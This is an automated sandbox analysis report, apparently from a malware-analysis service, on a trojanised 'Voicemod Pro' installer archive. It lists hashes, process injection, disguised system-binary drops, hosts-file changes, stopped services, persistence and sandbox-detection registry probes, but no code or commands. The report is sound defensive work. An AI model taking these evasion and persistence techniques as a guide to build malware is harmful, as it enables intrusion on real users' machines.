d319bd16c5186937e33b3b980bc3ccdeb0a63efef1a2bc3fbfd54f43f2e439d7

Analysis

max time kernel
1791s
max time network
1742s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02/03/2024, 20:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Voicemod Pro 2.6.0.7 [updated].rar
Size 100.6MB
Sample240302-ysqa8agg9t
SHA256 d319bd16c5186937e33b3b980bc3ccdeb0a63efef1a2bc3fbfd54f43f2e439d7
MD5 8a0397541eef9260602d1346233e8624
SHA1 f4748c7374169419e9eb214c604fc767b5a43c17
SHA512 78081c4c208f034556f298fbc0196ba0855ed309e79030f6d0de09930608082e83dd1f88b1e293b492dacbbe76bc76e7ba24e8d363165ee025124801482e0a9b
SSDEEP 1572864:CG7qtFViZvvZCpf/oC+qqSXHHpKofCiEcaV/DtjAgdcbO:CGIqvI/oC+qqoIofold5R1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery evasion persistence

Malware Config

Signatures

Process spawned unexpected child process 30 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4176	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3120	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2888	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2184	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3096	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2068	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3128	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2488	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5116	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1700	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1388	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4484	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	936	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3680	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2804	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3656	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1376	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1864	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	768	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2344	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1100	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2248	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4660	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4844	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3604	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4140	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1412	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4456	1108	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	576	1108	schtasks.exe	93

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2936 created 3408	2936	conhost_sft.exe	53
PID 2936 created 3408	2936	conhost_sft.exe	53
PID 2936 created 3408	2936	conhost_sft.exe	53
PID 2936 created 3408	2936	conhost_sft.exe	53
PID 2936 created 3408	2936	conhost_sft.exe	53
PID 2456 created 3408	2456	ChromeUpdate.exe	53
PID 2456 created 3408	2456	ChromeUpdate.exe	53
PID 2456 created 3408	2456	ChromeUpdate.exe	53
PID 2456 created 3408	2456	ChromeUpdate.exe	53
PID 2456 created 3408	2456	ChromeUpdate.exe	53

Downloads MZ/PE file

Drops file in Drivers directory 7 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\SETF1D3.tmp	DrvInst.exe
File opened for modification	C:\Windows\system32\drivers\vmdrv.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\drmk.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\portcls.sys	DrvInst.exe
File created	C:\Windows\System32\drivers\etc\hosts	conhost_sft.exe
File created	C:\Windows\System32\drivers\etc\hosts	ChromeUpdate.exe
File opened for modification	C:\Windows\system32\drivers\SETF1D3.tmp	DrvInst.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 40 IoCs

pid	Process
2376	VoicemodSetup 2.6.0.7.exe
1948	vm_fontreviewmonitordllrefsvc.exe
2936	conhost_sft.exe
4832	VoicemodSetup_2.6.0.7.exe
2264	VoicemodSetup_2.6.0.7.tmp
4812	System.exe
2456	ChromeUpdate.exe
3588	SaveDefaultDevices.exe
3404	voicemodcon.exe
4540	voicemodcon.exe
3540	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
4280	VoicemodUpdate_2.48.0.0.exe
2016	VoicemodUpdate_2.48.0.0.tmp
2688	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
4648	cmd.exe
560	smss.exe
3680	wininit.exe
3224	VoicemodDesktop.exe
5004	System.exe
828	lsass.exe
692	cmd.exe
864	smss.exe
4120	sysmon.exe
4352	explorer.exe
4896	wininit.exe
4392	System.exe
4792	cmd.exe
2312	lsass.exe
2720	smss.exe
1768	cmd.exe
3112	smss.exe
4420	wininit.exe
4140	System.exe
4884	lsass.exe
3980	sysmon.exe
5028	explorer.exe

Loads dropped DLL 60 IoCs

pid	Process
2264	VoicemodSetup_2.6.0.7.tmp
2264	VoicemodSetup_2.6.0.7.tmp
2264	VoicemodSetup_2.6.0.7.tmp
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
4892	VoicemodDesktop.exe
1924	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
3540	VoicemodDesktop.exe
2016	VoicemodUpdate_2.48.0.0.tmp
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
1736	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
1144	VoicemodDesktop.exe
2688	VoicemodDesktop.exe
2688	VoicemodDesktop.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1637591879-962683004-3585269084-1000\Software\Microsoft\Windows\CurrentVersion\Run\Voicemod = "\"C:\\Program Files\\Voicemod Desktop\\VoicemodDesktop.exe\""	VoicemodSetup_2.6.0.7.tmp

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 21 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\vi-VN\56085415360792	vm_fontreviewmonitordllrefsvc.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\SETF04D.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\vmdrv.inf	DrvInst.exe
File created	C:\Windows\System32\DriverStore\drvstore.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\vmdrv.inf_amd64_d69cebb32d098656\vmdrv.cat	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\vmdrv.inf_amd64_d69cebb32d098656\vmdrv.PNF	voicemodcon.exe
File created	C:\Windows\SysWOW64\vi-VN\wininit.exe	vm_fontreviewmonitordllrefsvc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\SETF04E.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\SETF05E.tmp	DrvInst.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\vmdrv.cat	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\vmdrv.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	DrvInst.exe
File created	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\SETF04D.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\SETF04E.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}\SETF05E.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\vmdrv.inf_amd64_d69cebb32d098656\vmdrv.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\vmdrv.inf_amd64_d69cebb32d098656\vmdrv.inf	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{b5c20431-f16e-7f4f-a4a7-36d40d58c7a3}	DrvInst.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2376	VoicemodSetup 2.6.0.7.exe
2376	VoicemodSetup 2.6.0.7.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2456 set thread context of 1912	2456	ChromeUpdate.exe	166

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Voicemod Desktop\NAudio.Vorbis.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\System.Threading.Tasks.Extensions.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-99MJM.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-2C3OD.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-KOHPM.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-TT2U1.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-T65HA.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-6F6R8.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.AspNetCore.Server.Kestrel.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\System.Memory.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-M6JC1.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-UDBSJ.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-1DI22.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-P379H.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-IQGJS.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-RJ0FA.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-R55GS.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.AspNetCore.Http.Extensions.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.Extensions.DependencyInjection.Abstractions.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\EntityFramework.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-V46SL.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-HKLLH.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Voicemod.VoicemodDesktop.UI.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.IdentityModel.JsonWebTokens.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\driver\is-VLQQO.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-SJS0T.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-ILHC7.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.Extensions.Configuration.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\System.Data.SQLite.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-NU18L.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-K0DC7.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-3SCIQ.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-18C1V.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.AspNetCore.Server.Kestrel.Https.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.AspNetCore.Http.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-4H7AO.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\System.ValueTuple.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\driver\is-U0O8I.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-AD57M.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-Q4DOS.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-TIMSO.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.AspNetCore.WebUtilities.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\IO.Ably.DeltaCodec.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.Net.Http.Headers.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-VRV9N.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-7DDTS.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\driver\is-OA0N4.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-TJNE7.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-D1725.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-PMNN1.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-N3BNP.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\CefSharp.Core.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Interop.WMPLib.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\SimpleInjector.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-GKEOA.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.IdentityModel.Logging.dll	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-91OPU.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-KLD9A.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-PH7FR.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\is-2IN66.tmp	VoicemodSetup_2.6.0.7.tmp
File created	C:\Program Files\Voicemod Desktop\locales\is-KITF4.tmp	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\Microsoft.AspNetCore.Http.Features.dll	VoicemodSetup_2.6.0.7.tmp
File opened for modification	C:\Program Files\Voicemod Desktop\System.Runtime.CompilerServices.Unsafe.dll	VoicemodSetup_2.6.0.7.tmp

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\Help\en-US\sysmon.exe	vm_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\INF\oem0.PNF	voicemodcon.exe
File created	C:\Windows\INF\c_media.PNF	voicemodcon.exe
File created	C:\Windows\inf\oem3.inf	DrvInst.exe
File created	C:\Windows\L2Schemas\6203df4a6bafc7	vm_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\INF\oem2.PNF	voicemodcon.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\inf\oem3.inf	DrvInst.exe
File created	C:\Windows\INF\oem1.PNF	voicemodcon.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	voicemodcon.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	svchost.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File created	C:\Windows\Help\en-US\121e5b5079f7c0	vm_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\ServiceState\dllhost.exe	vm_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\L2Schemas\lsass.exe	vm_fontreviewmonitordllrefsvc.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3128	sc.exe
1092	sc.exe
2248	sc.exe
4980	sc.exe
4088	sc.exe
4628	sc.exe
2272	sc.exe
2596	sc.exe
2488	sc.exe
4924	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 62 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\ConfigFlags	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\LowerFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\LowerFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\LowerFilters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	voicemodcon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Filters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	voicemodcon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Phantom	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	voicemodcon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\ConfigFlags	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	svchost.exe
